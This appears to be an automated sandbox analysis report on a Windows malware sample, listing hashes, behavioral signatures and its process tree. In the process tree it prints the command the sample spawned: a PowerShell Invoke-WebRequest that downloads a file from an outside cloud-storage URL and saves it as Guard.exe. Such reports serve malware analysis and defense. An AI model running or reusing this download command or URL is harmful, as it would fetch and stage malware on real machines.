Analysis
-
max time kernel
119s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
17/11/2024, 02:36
Static task
static1
Behavioral task
behavioral1
Sample
e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe
Resource
win10v2004-20241007-en
General
-
Target
e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe
-
Size
1.1MB
-
MD5
c96a43db0abf02b0db8ca6efc658dc38
-
SHA1
a7c1b56d517d66e054e17c6cbd54bb3f1eafab8d
-
SHA256
e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172
-
SHA512
6a607ee81d5fa7837643402c9c1d657dea5f0e819b64731f92bf72383d416d6e219520f15e8fb6fd5531fb0b7a1464b80ec30f9699b4304863b276cc2831ff8a
-
SSDEEP
24576:BrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvaT+DCfkPY:B2EYTb8atv1orq+pEiSDTj1VyvBaTJkQ
Malware Config
Signatures
-
pid Process 2904 powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2904 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2904 powershell.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe -
Suspicious use of SendNotifyMessage 6 IoCs
pid Process 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2848 wrote to memory of 2904 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 31 PID 2848 wrote to memory of 2904 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 31 PID 2848 wrote to memory of 2904 2848 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe 31
Processes
-
C:\Users\Admin\AppData\Local\Temp\e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe"C:\Users\Admin\AppData\Local\Temp\e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe"1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri "https://my.cloudme.com/v1/ws2/:slight-stood/:web_1/web" -OutFile "C:\Users\Public\Guard.exe""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904
-